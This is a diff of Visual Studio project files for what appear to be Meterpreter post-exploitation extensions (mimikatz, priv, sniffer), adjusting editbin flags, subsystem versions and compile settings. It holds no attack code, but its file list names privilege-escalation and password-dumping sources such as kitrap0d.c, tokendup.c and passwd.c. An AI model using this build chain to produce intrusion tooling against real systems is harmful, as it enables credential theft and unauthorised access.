IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -260,7 +260,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportLibrary>$(OutDir)\ext_server_mimikatz.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_mimikatz.lib</ImportLibrary>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -309,7 +309,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -358,7 +358,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -392,9 +392,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<RandomizedBaseAddress>false</RandomizedBaseAddress> <RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention> <DataExecutionPrevention>
</DataExecutionPrevention> </DataExecutionPrevention>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -428,9 +429,10 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<RandomizedBaseAddress>false</RandomizedBaseAddress> <RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention> <DataExecutionPrevention>
</DataExecutionPrevention> </DataExecutionPrevention>
<MinimumRequiredVersion />
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -469,7 +471,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>.\Release\ext_server_mimikatz.map</MapFileName> <MapFileName>.\Release\ext_server_mimikatz.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -483,7 +485,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -522,7 +524,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<GenerateDebugInformation>false</GenerateDebugInformation> <GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<MapFileName>.\Release\ext_server_mimikatz.map</MapFileName> <MapFileName>.\Release\ext_server_mimikatz.map</MapFileName>
<SubSystem>NotSet</SubSystem> <SubSystem>Windows</SubSystem>
<OptimizeReferences> <OptimizeReferences>
</OptimizeReferences> </OptimizeReferences>
<EnableCOMDATFolding> <EnableCOMDATFolding>
@ -536,7 +538,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</MinimumRequiredVersion> </MinimumRequiredVersion>
</Link> </Link>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -675,4 +677,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -182,7 +182,8 @@
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_priv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>5.0</MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
@ -190,7 +191,7 @@
<OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -241,7 +242,8 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_priv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>5.0</MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
@ -249,7 +251,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -301,13 +303,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -359,13 +362,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -413,13 +417,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_priv.bsc</OutputFile> <OutputFile>.\Debug\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -467,13 +474,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_priv.bsc</OutputFile> <OutputFile>.\Debug\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -523,13 +533,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion />
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_priv.bsc</OutputFile> <OutputFile>.\Debug\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -579,13 +591,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_priv.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion />
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_priv.bsc</OutputFile> <OutputFile>.\Debug\ext_server_priv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -594,72 +608,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\source\extensions\priv\server\priv.c"> <ClCompile Include="..\..\source\extensions\priv\server\priv.c">
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> <PrecompiledHeader>Create</PrecompiledHeader>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">Create</PrecompiledHeader>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">Create</PrecompiledHeader>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">Create</PrecompiledHeader>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">Create</PrecompiledHeader>
</ClCompile>
<ClCompile Include="..\..\source\extensions\priv\server\passwd.c">
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile> </ClCompile>
<ClCompile Include="..\..\source\extensions\priv\server\passwd.c" />
<ClCompile Include="..\..\source\extensions\priv\server\elevate\elevate.c" /> <ClCompile Include="..\..\source\extensions\priv\server\elevate\elevate.c" />
<ClCompile Include="..\..\source\extensions\priv\server\elevate\service.c" /> <ClCompile Include="..\..\source\extensions\priv\server\elevate\service.c" />
<ClCompile Include="..\..\source\extensions\priv\server\elevate\kitrap0d.c" /> <ClCompile Include="..\..\source\extensions\priv\server\elevate\kitrap0d.c" />
<ClCompile Include="..\..\source\extensions\priv\server\elevate\namedpipe.c" /> <ClCompile Include="..\..\source\extensions\priv\server\elevate\namedpipe.c" />
<ClCompile Include="..\..\source\extensions\priv\server\elevate\tokendup.c" /> <ClCompile Include="..\..\source\extensions\priv\server\elevate\tokendup.c" />
<ClCompile Include="..\..\source\extensions\priv\server\fs.c"> <ClCompile Include="..\..\source\extensions\priv\server\fs.c" />
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\source\extensions\priv\server\precomp.h" /> <ClInclude Include="..\..\source\extensions\priv\server\precomp.h" />
@ -698,4 +655,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -125,7 +125,8 @@
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_sniffer.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_sniffer.lib</ImportLibrary>
